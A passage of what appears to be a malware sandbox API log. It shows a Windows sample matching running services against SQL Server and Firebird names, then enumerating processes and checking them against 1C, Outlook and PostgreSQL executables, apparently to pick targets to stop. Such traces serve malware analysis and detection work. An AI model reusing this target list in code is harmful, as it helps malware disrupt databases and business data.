lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0120.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0120.452] lstrlenW (lpString="eventlog") returned 8 [0120.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0120.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0120.452] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0120.453] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0120.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0120.453] lstrlenW (lpString="EventSystem") returned 11 [0120.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0120.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0120.453] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0120.453] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0120.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0120.453] lstrlenW (lpString="FontCache") returned 9 [0120.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0120.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0120.453] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0120.453] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0120.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0120.453] lstrlenW (lpString="gpsvc") returned 5 [0120.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0120.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0120.453] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0120.453] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0120.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0120.453] lstrlenW (lpString="iphlpsvc") returned 8 [0120.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0120.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0120.453] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0120.453] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0120.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0120.453] lstrlenW (lpString="LanmanServer") returned 12 [0120.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0120.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0120.453] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0120.453] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0120.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0120.454] lstrlenW (lpString="LanmanWorkstation") returned 17 [0120.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0120.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0120.454] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0120.454] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0120.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0120.454] lstrlenW (lpString="lmhosts") returned 7 [0120.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0120.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0120.454] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0120.454] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0120.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0120.454] lstrlenW (lpString="MMCSS") returned 5 [0120.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0120.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0120.454] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0120.454] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0120.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0120.454] lstrlenW (lpString="MpsSvc") returned 6 [0120.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0120.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0120.454] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0120.454] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0120.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0120.454] lstrlenW (lpString="Netman") returned 6 [0120.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0120.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0120.454] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0120.454] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0120.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0120.454] lstrlenW (lpString="netprofm") returned 8 [0120.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0120.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0120.454] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0120.454] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0120.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0120.454] lstrlenW (lpString="NlaSvc") returned 6 [0120.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0120.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0120.455] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0120.455] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0120.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0120.455] lstrlenW (lpString="nsi") returned 3 [0120.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0120.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0120.455] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0120.455] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0120.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0120.455] lstrlenW (lpString="PcaSvc") returned 6 [0120.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0120.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0120.455] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0120.455] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0120.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0120.455] lstrlenW (lpString="PlugPlay") returned 8 [0120.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0120.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0120.455] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0120.455] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0120.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0120.455] lstrlenW (lpString="Power") returned 5 [0120.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0120.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0120.455] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0120.455] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0120.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0120.455] lstrlenW (lpString="ProfSvc") returned 7 [0120.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0120.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0120.455] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0120.455] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0120.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0120.455] lstrlenW (lpString="RpcEptMapper") returned 12 [0120.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0120.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0120.455] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0120.456] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0120.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0120.456] lstrlenW (lpString="RpcSs") returned 5 [0120.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0120.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0120.456] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0120.456] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0120.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0120.456] lstrlenW (lpString="SamSs") returned 5 [0120.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0120.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0120.456] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0120.456] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0120.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0120.456] lstrlenW (lpString="Schedule") returned 8 [0120.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0120.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0120.456] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0120.456] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0120.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0120.456] lstrlenW (lpString="SENS") returned 4 [0120.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0120.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0120.456] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0120.456] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0120.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0120.456] lstrlenW (lpString="ShellHWDetection") returned 16 [0120.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0120.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0120.456] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0120.456] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0120.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0120.456] lstrlenW (lpString="Spooler") returned 7 [0120.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0120.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0120.456] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0120.456] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0120.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0120.457] lstrlenW (lpString="sppsvc") returned 6 [0120.457] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0120.457] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0120.457] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0120.457] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0120.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0120.457] lstrlenW (lpString="SysMain") returned 7 [0120.457] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0120.457] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0120.457] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0120.457] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0120.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0120.457] lstrlenW (lpString="Themes") returned 6 [0120.457] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0120.457] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0120.457] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0120.457] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0120.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0120.457] lstrlenW (lpString="TrkWks") returned 6 [0120.457] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0120.457] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0120.457] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0120.457] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0120.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0120.457] lstrlenW (lpString="UxSms") returned 5 [0120.457] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0120.457] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0120.457] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0120.457] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0120.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0120.457] lstrlenW (lpString="VSS") returned 3 [0120.457] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0120.457] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0120.457] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0120.457] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0120.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0120.457] lstrlenW (lpString="W32Time") returned 7 [0120.457] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="W32Time") returned -1 [0120.457] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="W32Time") returned -1 [0120.458] lstrcmpiW (lpString1="sqlwriter", lpString2="W32Time") returned -1 [0120.458] lstrcmpiW (lpString1="mssqlserver", lpString2="W32Time") returned -1 [0120.458] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="W32Time") returned -1 [0120.458] lstrlenW (lpString="WdiServiceHost") returned 14 [0120.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0120.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0120.458] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0120.458] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0120.458] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0120.458] lstrlenW (lpString="WdiSystemHost") returned 13 [0120.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0120.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0120.458] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0120.458] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0120.458] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0120.458] lstrlenW (lpString="WinDefend") returned 9 [0120.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0120.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0120.458] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0120.458] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0120.458] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0120.458] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0120.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0120.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0120.458] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0120.458] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0120.458] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0120.458] lstrlenW (lpString="Winmgmt") returned 7 [0120.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0120.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0120.458] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0120.458] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0120.458] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0120.458] lstrlenW (lpString="wscsvc") returned 6 [0120.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0120.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0120.458] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0120.459] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0120.459] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0120.459] lstrlenW (lpString="wuauserv") returned 8 [0120.459] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0120.459] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0120.459] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0120.459] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0120.459] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0120.459] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ec [0120.461] Process32FirstW (in: hSnapshot=0x1ec, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0120.462] Process32NextW (in: hSnapshot=0x1ec, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0120.462] lstrlenW (lpString="System") returned 6 [0120.462] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0120.462] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0120.462] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0120.462] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0120.462] Process32NextW (in: hSnapshot=0x1ec, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0120.463] lstrlenW (lpString="smss.exe") returned 8 [0120.463] Process32NextW (in: hSnapshot=0x1ec, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0120.464] lstrlenW (lpString="csrss.exe") returned 9 [0120.464] Process32NextW (in: hSnapshot=0x1ec, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0120.464] lstrlenW (lpString="wininit.exe") returned 11 [0120.464] Process32NextW (in: hSnapshot=0x1ec, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0120.465] lstrlenW (lpString="csrss.exe") returned 9 [0120.465] Process32NextW (in: hSnapshot=0x1ec, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0120.466] lstrlenW (lpString="winlogon.exe") returned 12 [0120.466] Process32NextW (in: hSnapshot=0x1ec, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0120.466] lstrlenW (lpString="services.exe") returned 12 [0120.466] Process32NextW (in: hSnapshot=0x1ec, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0120.467] lstrlenW (lpString="lsass.exe") returned 9 [0120.467] Process32NextW (in: hSnapshot=0x1ec, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0120.468] lstrlenW (lpString="lsm.exe") returned 7 [0120.468] Process32NextW (in: hSnapshot=0x1ec, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.468] lstrlenW (lpString="svchost.exe") returned 11 [0120.468] Process32NextW (in: hSnapshot=0x1ec, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.469] lstrlenW (lpString="svchost.exe") returned 11 [0120.469] Process32NextW (in: hSnapshot=0x1ec, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.470] lstrlenW (lpString="svchost.exe") returned 11 [0120.470] Process32NextW (in: hSnapshot=0x1ec, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.471] lstrlenW (lpString="svchost.exe") returned 11 [0120.471] Process32NextW (in: hSnapshot=0x1ec, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.472] lstrlenW (lpString="svchost.exe") returned 11 [0120.472] Process32NextW (in: hSnapshot=0x1ec, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0120.473] lstrlenW (lpString="audiodg.exe") returned 11 [0120.473] Process32NextW (in: hSnapshot=0x1ec, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.474] lstrlenW (lpString="svchost.exe") returned 11 [0120.474] Process32NextW (in: hSnapshot=0x1ec, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.475] lstrlenW (lpString="svchost.exe") returned 11 [0120.475] Process32NextW (in: hSnapshot=0x1ec, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0120.476] lstrlenW (lpString="dwm.exe") returned 7 [0120.476] Process32NextW (in: hSnapshot=0x1ec, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0120.476] lstrlenW (lpString="explorer.exe") returned 12 [0120.477] Process32NextW (in: hSnapshot=0x1ec, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0120.477] lstrlenW (lpString="spoolsv.exe") returned 11 [0120.477] Process32NextW (in: hSnapshot=0x1ec, lppe=0x37fcac | out: 